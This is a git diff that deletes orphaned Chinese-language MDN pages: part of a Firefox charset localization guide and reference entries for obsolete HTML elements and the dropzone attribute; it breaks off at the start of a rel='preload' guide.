下面的文字是指编码规范名称。规范名称是注册在<a href="https://mxr.mozilla.org/mozilla-central/source/intl/locale/unix/unixcharset.properties" title="https://mxr.mozilla.org/mozilla-central/source/intl/locale/unix/unixcharset.properties">unixcharset.properties</a>(unixcharset表达式)中等号右边的值。</p> - -<h2 id="指定备用编码">指定备用编码</h2> - -<p><strong>对于 Firefox 28, 这部分内容是过时的,因为 <code>intl.charset.default</code>不再存在。从地区映射备用编码现在已经集成到Gecko内部。</strong></p> - -<p>备用编码指定在 <code>intl.properties</code> 下的<code>intl.charset.default</code> 中。它用于指定本地化传统内容将采用的编码。它应该设定为当地遇到未定义编码传统内容最可能采用的编码。<strong>注意</strong> 这里指定的备用编码不一定能够准确表示内容所需的当地语言所有本地化字符!</p> - -<p>在西欧、北美洲、中美洲、南美洲、非洲、中亚和大洋洲等等地区,备用编码通常设置为windows-1252,但在其他地区,如中欧、东欧、中东、东亚等等地区通常需要设置为其他编码。</p> - -<p>为了避免Web作者创造新的UTF-8的内容时没有声明内容使用UTF-8,且为了最大限度地提高用户跨区域阅读内容的能力,不设置备用编码就采用UTF-8。注意,Firefox不再发送接受字符的HTTP头( <code>Accept-Charset</code> ),所以设定备用编码时不需要考虑不需要考虑 Accept-Charset的内容。</p> - -<p>对于地区后备编码目前指定为ISO-8859-1的,应该改为windows-1252。虽然ISO-8859-1编码和windows-1252编码相同。但火狐正在推动windows-1252作为这些内容在 <a href="http://encoding.spec.whatwg.org/" title="http://encoding.spec.whatwg.org/">Encoding Standard</a> (编码规范)中的首选标准。</p> - -<p>对于Internet Explorer拥有比Firefox更大的市场份额的区域,备用编码通常应设置为与Internet Explorer相同的值。通过加载测试页面,您可以看到特定浏览器的备用编码。(在测试时一定要使用默认设置!)</p> - -<p>对于Firefox比Internet Explorer拥有更多市场份额的地区,最好不要更改回退编码,即使它不遵循上面给出的指导。(例如,波兰、匈牙利和捷克的地区的备用编码应该继续采用ISO-8859-2,尽管这与IE是不同的备用编码。)</p> - -<p>有疑问时,使用windows-1252作为备用的编码。</p> - -<h2 id="指定启发式检测模式">指定启发式检测模式</h2> - -<p class="ordinary-output target-output clearfix"><span>启发式检测模式是由</span><code>intl.properties</code><span>中偏好</span><code>intl.charset.detector</code><span>指定。</span><span>除了俄语、乌克兰语和日语以外,所有区域的设置必须留空。</span><span>在任何情况下都不要指定</span> "universal" (<span>“万能”)探测器。</span><span>尽管它的名字并不普遍!</span></p> - -<h2 id="少数民族语言例外">少数民族语言例外</h2> - -<p>如果用户本身可采用少数民族语言和文字,但他通常使用区域通用语言,这时适当的指定备用编码和启发式检测模式需要与所处广大的区域的语言定位相同。例如,对于俄罗斯的少数民族语言本地化,复制来自俄罗斯本地化的设置是合适的。</p> - -<h2 id="设置一些更容易从菜单选择的字符编码">设置一些更容易从菜单选择的字符编码</h2> - -<p><code>intl.properties</code>中的 <code>intl.charsetmenu.browser.static</code> 可以标记一些编码,它们出现在浏览器编码选择菜单中。该值是一个逗号分隔的规范编码名称列表。清单应至少包括备用编码,windows-1252和UTF-8编码。对于可能有多个遗留编码的地区,这些编码都应被包括。例如,在日本设置 Shift_JIS为备用编码,但也有其他的传统编码: ISO-2022-JP和EUC-JP。因此, <code>intl.charsetmenu.browser.static</code>应该设置为" Shift_JIS, EUC-JP, ISO-2022-JP, windows-1252, UTF-8"。</p> diff --git a/files/zh-cn/orphaned/web/html/element/command/index.html b/files/zh-cn/orphaned/web/html/element/command/index.html deleted file mode 100644 index 5e53ccc7d0..0000000000 --- a/files/zh-cn/orphaned/web/html/element/command/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: command -slug: orphaned/Web/HTML/Element/command -translation_of: Web/HTML/Element/command -original_slug: Web/HTML/Element/command ---- -<div class="warning"> -<p><strong>已废弃</strong></p> - -<p>此功能已过时。 虽然它可能仍然在某些浏览器中工作,但不鼓励使用它,因为它可能随时被删除。 尽量避免使用它。</p> -</div> - -<div class="note"> -<p><strong>注意:</strong><code>command</code>元素已经被{{Gecko("24.0")}}引擎移除以利于{{HTMLElement("menuitem")}}元素。Firefox从未支持<code>command</code>元素,并且在<a href="https://developer.mozilla.org/en-US/docs/Site_Compatibility_for_Firefox_24">Firefox 24</a>中删除了对{{domxref("HTMLCommandElement")}}DOM接口的实现。</p> -</div> - -<h2 class="editable" id="概述"><span>概述</span></h2> - -<p><code>command元素</code>用来表示一个用户可以调用的命令.</p> - -<h2 id="使用规范">使用规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <td>内容类别</td> - <td><a href="/zh-cn/HTML/Content_categories#Flow_content" title="zh-cn/HTML/Content categories#Flow content">Flow content</a>, <a href="/zh-cn/HTML/Content_categories#Phrasing_content" title="zh-cn/HTML/Content categories#Phrasing content">phrasing content</a></td> - </tr> - <tr> - <td>是否允许有内容</td> - <td>否, 它是一个空元素</td> - </tr> - <tr> - <td>标签遗漏</td> - <td>必须有开始标签, 不可以有结束标签.</td> - </tr> - <tr> - <td>允许的父元素</td> - <td>任何可以包含 <a href="/zh-cn/HTML/Content_categories#Phrasing_content" title="https://developer.mozilla.org/zh-cn/HTML/Content_categories#Phrasing_content">phrasing content</a>的元素.</td> - </tr> - <tr> - <td>规范文档</td> - <td><a class="external" href="http://dev.w3.org/html5/spec/Overview.html#the-command" title="http://dev.w3.org/html5/spec/Overview.html#the-command">HTML5, section 4.11.3</a></td> - </tr> - </tbody> -</table> - -<h2 id="属性">属性</h2> - -<p>和其他的HTML元素一样, 该元素支持<a href="/zh-cn/HTML/Global_attributes" title="zh-cn/HTML/Global attributes">全局属性</a>.</p> - -<dl> - <dt>{{ htmlattrdef("checked") }}</dt> - <dd>表明该元素已被选择, 除非元素的<code>type</code> 属性是 <code>checkbox 或</code>者 <code>radio</code>,否则该属性必须被省略.</dd> - <dt>{{ htmlattrdef("disabled") }}</dt> - <dd>表明该command元素已经被禁用.</dd> - <dt>{{ htmlattrdef("icon") }}</dt> - <dd>用一张图片来显示该command元素.</dd> - <dt>{{ htmlattrdef("label") }}</dt> - <dd>该command元素的名称.用来显示给用户.</dd> - <dt>{{ htmlattrdef("radiogroup") }}</dt> - <dd>如果该元素的<code>type</code>属性为<code>radio</code>,则radiogroup属性用来表示这一组command元素的公用名称. 如果<code>type</code>属性不是<code>radio</code>,则radiogroup属性必须省略.</dd> - <dt>{{ htmlattrdef("type") }}</dt> - <dd>该属性用来表明command元素的类型,可以是下面三种值: - <ul> - <li> - <p><code>command</code> 或者为空,表示一个普通的command元素.</p> - </li> - <li> - <p><code>checkbox</code>表明该command元素体现为一个复选框,可以来回切换选中状态.</p> - </li> - <li> - <p><code>radio</code> 表明该command元素体现为一个单选按钮,可以来回切换选中状态.</p> - </li> - </ul> - </dd> -</dl> - -<h2 id="DOM_接口">DOM 接口</h2> - -<p>该元素实现了<code><a href="/zh-cn/DOM/HTMLCommandElement" rel="internal">HTMLCommandElement</a></code>接口.</p> - -<h2 id="例子">例子</h2> - -<pre class="brush: html"><command type="command" label="Save" icon="icons/save.png" onclick="save()"> -</pre> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<p> </p> - -<p>{{ languages( { "en": "en/HTML/Element/command" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/html/element/element/index.html b/files/zh-cn/orphaned/web/html/element/element/index.html deleted file mode 100644 index 3bf7f81fff..0000000000 --- a/files/zh-cn/orphaned/web/html/element/element/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: <element> -slug: orphaned/Web/HTML/Element/element -translation_of: Web/HTML/Element/element -original_slug: Web/HTML/Element/element ---- -<p>{{obsolete_header}}</p> - -<div class="note"> -<p><strong>Note:</strong> This element has been removed from the specification. See <a href="http://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">this</a> for more information from the editor of the specification.</p> -</div> - -<h2 id="Summary" name="Summary">简介</h2> - -<p><element>元素被定义在最新的 HTML DOM 元素中。</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th> - <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content">Transparent content</a>.</td> - </tr> - <tr> - <th scope="row">Permitted content</th> - <td>???</td> - </tr> - <tr> - <th scope="row">Tag omission</th> - <td>{{no_tag_omission}}</td> - </tr> - <tr> - <th scope="row">Permitted parent elements</th> - <td>???</td> - </tr> - <tr> - <th scope="row">DOM interface</th> - <td>{{domxref("HTMLElement")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Attributes" name="Attributes">属性</h2> - -<p>这个元素只有<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">全局属性</a>。</p> - -<h2 id="Examples" name="Examples">示例</h2> - -<p>Text goes here.</p> - -<pre class="brush: html">More text goes here. -</pre> - -<h2 id="Specifications" name="Specifications">规范</h2> - -<p><element>元素以前位于<a href="http://w3c.github.io/webcomponents/spec/custom/">自定义元素</a>的草稿规范中,但已被删除</p> - -<h2 id="Browser_compatibility" name="Browser_compatibility">浏览器兼容</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also" name="See_also">另请参阅</h2> - -<ul> - <li>Web components: {{HTMLElement("content")}}, {{HTMLElement("shadow")}}, {{HTMLElement("template")}}</li> -</ul> - -<div>{{HTMLRef}}</div> diff --git a/files/zh-cn/orphaned/web/html/element/isindex/index.html b/files/zh-cn/orphaned/web/html/element/isindex/index.html deleted file mode 100644 index 6ab341ec6f..0000000000 --- a/files/zh-cn/orphaned/web/html/element/isindex/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: <isindex> -slug: orphaned/Web/HTML/Element/isindex -tags: - - HTML - - Web -translation_of: Web/HTML/Element/isindex -original_slug: Web/HTML/Element/isindex ---- -<div>{{Deprecated_header}}</div> - -<h2 id="Summary" name="Summary">概述</h2> - -<p><code><strong><isindex>元素</strong>的作用是</code>使浏览器显示一个对话框,提示用户输入单行文本。在W3C的规范中建议,<code><isindex>元素最好被放置在</code> {{HTMLElement("head")}} 标签块内,但是对于浏览器来说,<isindex>标签在页面任何位置都没有关系。</p> - -<p>从HTML4规范开始,就不建议在您编写的HTML文档内使用<isindex>元素,您可以用<input>标签来替代。</p> - -<h2 id="Attributes" name="Attributes">属性</h2> - -<p>本元素支持 <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">全局属性</a>.</p> - -<dl> - <dt>{{htmlattrdef("prompt")}}</dt> - <dd>该属性用作在输入框前添加一个输入提示文本。</dd> - <dt>{{htmlattrdef("action")}}</dt> - <dd>本属性可以规定文本框中的值发送向一个没有被W3C规范的URL。</dd> -</dl> - -<h2 id="示例">示例</h2> - -<pre class="brush: html"><head> - <isindex prompt="Search Document... " /> -</head></pre> - -<h2 id="See_also" name="See_also">参阅</h2> - -<ul> - <li>{{HTMLElement("input")}}</li> -</ul> - -<p>{{HTMLRef}}</p> diff --git a/files/zh-cn/orphaned/web/html/element/listing/index.html b/files/zh-cn/orphaned/web/html/element/listing/index.html deleted file mode 100644 index 672a23df81..0000000000 --- a/files/zh-cn/orphaned/web/html/element/listing/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: <listing> -slug: orphaned/Web/HTML/Element/listing -translation_of: Web/HTML/Element/listing -original_slug: Web/HTML/Element/listing ---- -<div>{{Obsolete_header}}</div> - -<h2 id="Summary" name="Summary">概述</h2> - -<p><em>HTML 列表元素</em> (<code><listing></code>) 渲染了开始和结束标签之间的文本,而不会解释 HTML,并使用等宽字体。HTML2 标准建议,当一行不超过 132 个字符时,不应该将其拆开。</p> - -<div class="note">注:不要使用这个元素。 -<ul> - <li>它自从 HTML3.2 就废弃了,并且所有浏览器也不会实现它。它甚至在 HTML5 中过时,并且可能由某些浏览器渲染为 {{HTMLElement("pre")}} 元素,它会解释其中的 HTML。</li> - <li>而是要使用 {{HTMLElement("pre")}} 元素,或者如果满足语义的话,使用 {{HTMLElement("code")}} 元素,最终会转义 HTML '<code><</code>' 和 <code>></code>' ,以便它们不会被解释。</li> - <li>等宽字体也可以显示在 {{HTMLElement("div")}} 元素中,通过使用足够的 <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> 样式,在 {{cssxref("font-family")}} 中将 <code>monospace</code> 用作通用字体(generic-font)的值。</li> -</ul> -</div> - -<h2 id="Attributes" name="Attributes">属性</h2> - -<p>除了 <a class="new " href="/en-US/docs/Web/HTML/global_attributes" rel="internal" title="HTML/global attributes">全局属性</a> 之外,这个元素没有其它属性。</p> - -<h2 id="DOM_interface" name="DOM_interface">DOM 接口</h2> - -<p>元素实现了 {{domxref('HTMLElement')}} 接口。</p> - -<div class="note"> -<p><strong>实现注解:</strong>直到 Gecko 1.9.2(包含),Firefox 为这个元素实现了 {{domxref('HTMLSpanElement')}} 接口。</p> -</div> - -<h2 id="See_also" name="See_also">另见</h2> - -<ul> - <li>{{HTMLElement("pre")}} 和 {{HTMLElement("code")}} 元素可以用于替代。</li> - <li>{{HTMLElement("plaintext")}} 和 {{HTMLElement("xmp")}} 元素,类似于 {{HTMLElement("listing")}} 但是也过时了。</li> -</ul> - -<div>{{HTMLRef}}</div> diff --git a/files/zh-cn/orphaned/web/html/element/multicol/index.html b/files/zh-cn/orphaned/web/html/element/multicol/index.html deleted file mode 100644 index 589528af71..0000000000 --- a/files/zh-cn/orphaned/web/html/element/multicol/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: <multicol> -slug: orphaned/Web/HTML/Element/multicol -tags: - - CSS Column -translation_of: Web/HTML/Element/multicol -original_slug: Web/HTML/Element/multicol ---- -<div>{{non-standard_header}}</div> - -<h2 id="概要">概要</h2> - -<p>HTML<multicol> 元素是一个实验元素,旨在允许多列布局。它从来没有任何显着的牵引力,并没有在任何主流浏览器中实现。</p> - -<div class="note"> -<p>不要使用这个!<strong><em> </em></strong>为了实现多列布局,你应该使用常规的 HTML 元素,例如组合 {{HTMLElement("div")}} 和 <a href="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts" title="/en-US/docs/Web/CSS/columns">CSS 列</a> 特性。</p> -</div> - -<p>要注意, Firefox 22 之前,虽然不受支持, <code><multicol></code> 元素和 {{domxref("HTMLSpanElement")}} 相关。按照规定的要求,之后它被修复,并且现在和 {{domxref("HTMLUnknownElement")}} 相关。</p> diff --git a/files/zh-cn/orphaned/web/html/element/nextid/index.html b/files/zh-cn/orphaned/web/html/element/nextid/index.html deleted file mode 100644 index 9c2c724a67..0000000000 --- a/files/zh-cn/orphaned/web/html/element/nextid/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: '<nextid>: 下一个ID元素(已过时)' -slug: orphaned/Web/HTML/Element/nextid -tags: - - HTML - - 元素 - - 参考 - - 网页 -translation_of: Web/HTML/Element/nextid -original_slug: Web/HTML/Element/nextid ---- -<div>{{Deprecated_header}}</div> - -<p><span class="seoSummary"><strong><code><nextid></code></strong> 是一个过时的HTML元素,用于使NeXT网页设计工具为其锚点生成自动的NAME标签。 它是由该Web编辑工具自动生成的,不需要手动调整或输入。 通过从HTML版本的官方公共DTD中删除,此元素的区别在于它是第一个成为“丢失标签”之一的元素。 它也可能是所有早期HTML元素中最少被了解的之一。</span></p> - -<dl> - <dt>HTML "0.a" - 从开始到1991年1月10日</dt> - <dd>该标签尚未发明,因此在此期间未发现任何示例。</dd> - <dt>HTML "0.c" - 从1991年1月23日至1992年11月23日</dt> - <dd>HTML的此早期版本以非SGML兼容形式引入了<code><NEXTID></code>该形式仅将数字值单独用作“属性”。 </dd> - <dt>HTML "0.d" - 从1992年11月26日到1993年5月24日</dt> - <dd>在此跨度内,NeXT和尚存的最早的DTD表示<code><NEXTID></code> 仅对其新引入的属性N的值取一个数字。</dd> - <dt>HTML "1.k" - 版本1(第一版)</dt> - <dd>在HTML的第一个初稿中,<code><NEXTID></code> 与HTML 2相同,最终允许使用名称代替其属性值仅使用数字。</dd> - <dt>HTML "1.m" - 版本1(第二版)</dt> - <dd>在下一个发布的HTML草案中,可以使用简单的SGML命令分别取消选择<code><NEXTID></code> <code><NEXTID></code> 进行显示。</dd> - <dt>HTML 第2版第1级</dt> - <dd>这类似于2级默认值,但不包括所有表单元素。 i. e. <code><FORM></code>, <code><INPUT></code>, <code><TEXTAREA></code>, <code><SELECT></code>, 和 <code><OPTION></code></dd> - <dt>HTML 版本2严格级别1</dt> - <dd>这类似于常规的1级,但它也排除了这些折旧的元素以及诸如在链接(<code><A></code> 内嵌套标头(<code><H*></code> 元素)之类的构造。</dd> - <dt>HTML 第2版第2级</dt> - <dd>这是默认设置,包括并允许所有HTML 2级功能以及元素和属性</dd> - <dt>HTML 第2版严格级别2</dt> - <dd>这不包括这些已贬值的元素,也禁止诸如在链接 (<code><A>元素内嵌套标头</code>(<code><H*></code> 元素),或者有一个表单 <code><INPUT></code> 元素,它不在一个块级别中的元素如 <code><P></code>中。</dd> - <dt>HTML 版本3.2</dt> - <dd><code><NEXTID></code> 完全消失了,再也不会被听到。.</dd> -</dl> - -<h2 id="属性">属性</h2> - -<p>像所有其他HTML元素一样,此元素接受<a href="/en-US/docs/HTML/Global_attributes">全局属性</a>。</p> - -<dl> - <dt>{{htmlattrdef("n")}}</dt> - <dd>参考锚点。</dd> -</dl> - -<h2 id="例子">例子</h2> - -<p>用户在目录中输入四个部分标题(并且大概也在这些部分中编写段落材料)。 四个部分中每个部分的标题将被分配名称值“ z0”,“ z1”,“ z2”和“ z3”。 其中第一个将在目录中产生如下条目:<code><A NAME="z0" HREF="#z4">FIRST SECTION NAME</A></code> 并且节标题将被标记为: <code><H2><A NAME="z4">FIRST SECTION NAME</A></H2></code>. 接下来的三个部分z5,z6和z7(以及名为z1,z2和z3的目录条目)将继续这三个部分,每个部分都会自动使用这些名称来指定锚点。然后,用户保存并关闭文档。 然后,NeXT将在HTML文档的标头中添加一个特殊标记 <code><NEXTID N="z8"></code>, 以告知在何处继续其命名约定。 想象一下,网络作者打开了文档进行进一步编辑。 他们想在第二部分之后添加几个新的部分,并在末尾追加四个部分。 打开文档时,NeXT编辑器会找到并读取此 <code><NEXTID N="z8"></code>标记, 并且现在知道将这些新节中的第一个命名为目录中的z8,并将z14命名为内容主体。 可能看起来像这样:</p> - -<pre class="brush: html"><HTML> - <HEAD> - <TITLE> ... whatever ... </TITLE> - <LINK, META, BASE, etc. as applicable for the head of this document> - <NEXTID N="z20"> - </HEAD> - - <BODY> - <A NAME="z0" HREF="#z4">FIRST SECTION HEADING</A> - <A NAME="z1" HREF="#z5">SECOND SECTION HEADING</A> - <A NAME="z8" HREF="#z14">NEWLY INSERTED THIRD SECTION HEADING</A> - <A NAME="z9" HREF="#z15">NEWLY INSERTED FOURTH SECTION HEADING</A> - <A NAME="z2" HREF="#z6">ORIGINAL THIRD (NOW FIFTH) SECTION HEADING</A> - <A NAME="z3" HREF="#z7">ORIGINAL FOURTH (NOW SIXTH) SECTION HEADING</A> - <A NAME="z10" HREF="#z16">SEVENTH SECTION HEADING</A> - <A NAME="z11" HREF="#z17">EIGHTH SECTION HEADING</A> - <A NAME="z12" HREF="#z18">NINTH SECTION HEADING</A> - <A NAME="z13" HREF="#z19">TENTH SECTION HEADING</A> - <H2><A NAME="z4">FIRST SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z5">SECOND SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z14">NEWLY INSERTED THIRD SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z15">NEWLY INSERTED FOURTH SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z6">ORIGINAL THIRD (NOW FIFTH) SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z7">ORIGINAL FOURTH (NOW SIXTH) SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z16">SEVENTH SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z17">EIGHTH SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z18">NINTH SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z19">TENTH SECTION HEADING</A></H1><P> ... whatever ... </P> - </BODY> -</HTML> -</pre> - -<p>然后,他们使用NeXT编辑器将该文档的副本转发给某人,并删除z7和z19节,从z20到z29添加十个节,然后删除z24和z29段。 因此,返回修改后的NEXTID值是z30:</p> - -<pre class="brush: html"><HTML> - <HEAD> - <TITLE> ... whatever ... </TITLE> - <LINK, META, BASE, etc. as applicable for the head of this document> - <NEXTID N="z30"> - </HEAD> - - <BODY> - <A NAME="z0" HREF="#z4">FIRST SECTION HEADING</A> - <A NAME="z1" HREF="#z5">SECOND SECTION HEADING</A> - <A NAME="z8" HREF="#z14">NEWLY INSERTED THIRD SECTION HEADING</A> - <A NAME="z9" HREF="#z15">NEWLY INSERTED FOURTH SECTION HEADING</A> - <A NAME="z2" HREF="#z6">ORIGINAL THIRD (NOW FIFTH) SECTION HEADING</A> - <A NAME="z10" HREF="#z16">SEVENTH (NOW SIXTH) SECTION HEADING</A> - <A NAME="z11" HREF="#z17">EIGHTH (NOW SEVENTH) SECTION HEADING</A> - <A NAME="z12" HREF="#z18">NINTH (NOW EIGHTH) SECTION HEADING</A> - <A NAME="z20" HREF="#z25">NEW NINTH SECTION HEADING</A> - <A NAME="z21" HREF="#z26">NEW TENTH SECTION HEADING</A> - <A NAME="z22" HREF="#z27">NEW ELEVENTH SECTION HEADING</A> - <A NAME="e23" HREF="#z28">NEW TWELFTH SECTION HEADING</A> - <H2><A NAME="z4">FIRST SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z5">SECOND SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z14">NEWLY INSERTED THIRD SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z15">NEWLY INSERTED FOURTH SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z6">ORIGINAL THIRD (NOW FIFTH) SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z16">SEVENTH (NOW SIXTH) SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z17">EIGHTH (NOW SEVENTH) SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z18">NINTH (NOW EIGHTH) SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z25">NEW NINTH SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z26">NEW TENTH SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z27">NEW ELENENTH SECTION HEADING</A></H1><P> ... whatever ... </P> - <H2><A NAME="z28">NEW TWELFTH SECTION HEADING</A></H1><P> ... whatever ... </P> - </BODY> -</HTML> -</pre> - -<h2 id="HTML_参考">HTML 参考</h2> - -<ul> - <li><a class="external text" href="http://www.the-pope.com/nextid.html" rel="nofollow">工作 NEXTID 标签元素实例</a></li> - <li><a class="external text" href="https://tools.ietf.org/html/rfc1866#section-5.2.6" rel="nofollow">5.2.6. 下一个ID: NEXTID</a></li> -</ul> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("html.elements.nextid")}}</p> - -<h2 id="另请详见">另请详见</h2> - -<ul> - <li>{{HTMLElement("isindex")}}</li> -</ul> - -<p>{{HTMLRef}}</p> diff --git a/files/zh-cn/orphaned/web/html/global_attributes/dropzone/index.html b/files/zh-cn/orphaned/web/html/global_attributes/dropzone/index.html deleted file mode 100644 index 19b88c3d0e..0000000000 --- a/files/zh-cn/orphaned/web/html/global_attributes/dropzone/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: dropzone -slug: orphaned/Web/HTML/Global_attributes/dropzone -translation_of: Web/HTML/Global_attributes/dropzone -original_slug: Web/HTML/Global_attributes/dropzone ---- -<p class="note">{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}</p> - -<p><strong>dropzone</strong> <a href="/en-US/docs/Web/HTML/Global_attributes">全局属性</a> 是个枚举属性,表示什么内容类型可以拖放到元素上,使用 <a href="/En/DragDrop/Drag_and_Drop" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="https://developer.mozilla.org/En/DragDrop/Drag_and_Drop">Drag and Drop API</a>,它可以拥有以下值:</p> - -<ul> - <li><span style="font-family: courier new;">copy,</span>它表明拖放行为会创建被拖放元素的副本。</li> - <li><span style="font-family: courier new;">move</span>,它表明被拖放元素会移动到新的位置。</li> - <li><span style="font-family: courier new;">link</span>,它会创建被拖放数据的链接。 </li> -</ul> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', "interaction.html#the-dropzone-attribute", "dropzone")}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>与最新的快照{{SpecName('HTML5.1')}} 没有区别</td> - </tr> - <tr> - <td>{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}</td> - <td>{{Spec2('HTML5.1')}}</td> - <td>{{SpecName('HTML WHATWG')}} 的快照,最初定义</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>基础支持</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>基础支持</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown}}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="另见">另见</h2> - -<ul> - <li>所有 <a href="/en-US/docs/Web/HTML/Global_attributes">全局属性</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/html/preloading_content/index.html b/files/zh-cn/orphaned/web/html/preloading_content/index.html deleted file mode 100644 index 454ea6a38b..0000000000 --- a/files/zh-cn/orphaned/web/html/preloading_content/index.html +++ /dev/null @@ -1,289 +0,0 @@ ---- -title: 通过rel="preload"进行内容预加载 -slug: orphaned/Web/HTML/Preloading_content -tags: - - HTML - - JavaScript - - Link - - as - - 媒体 - - 媒体查询 - - 性能 - - 性能优化 - - 指南 - - 预加载 -translation_of: Web/HTML/Preloading_content -original_slug: Web/HTML/Preloading_content ---- -<p class="summary"> {{htmlelement("link")}} 元素的 {{htmlattrxref("rel", "link")}} 属性的属性值<code>preload</code>能够让你在你的HTML页面中 {{htmlelement("head")}}元素内部书写一些声明式的资源获取请求,可以指明哪些资源是在页面加载完成后即刻需要的。对于这种即刻需要的资源,你可能希望在页面加载的生命周期的早期阶段就开始获取,在浏览器的主渲染机制介入前就进行预加载。这一机制使得资源可以更早的得到加载并可用,且更不易阻塞页面的初步渲染,进而提升性能。本文提供了一个如何有效使用<code>preload</code>机制的基本说明。</p> - -<h2 id="基础部分">基础部分</h2> - -<p><code><link></code> 标签最常见的应用情形就是被用来加载CSS文件,进而装饰你的页面:</p> 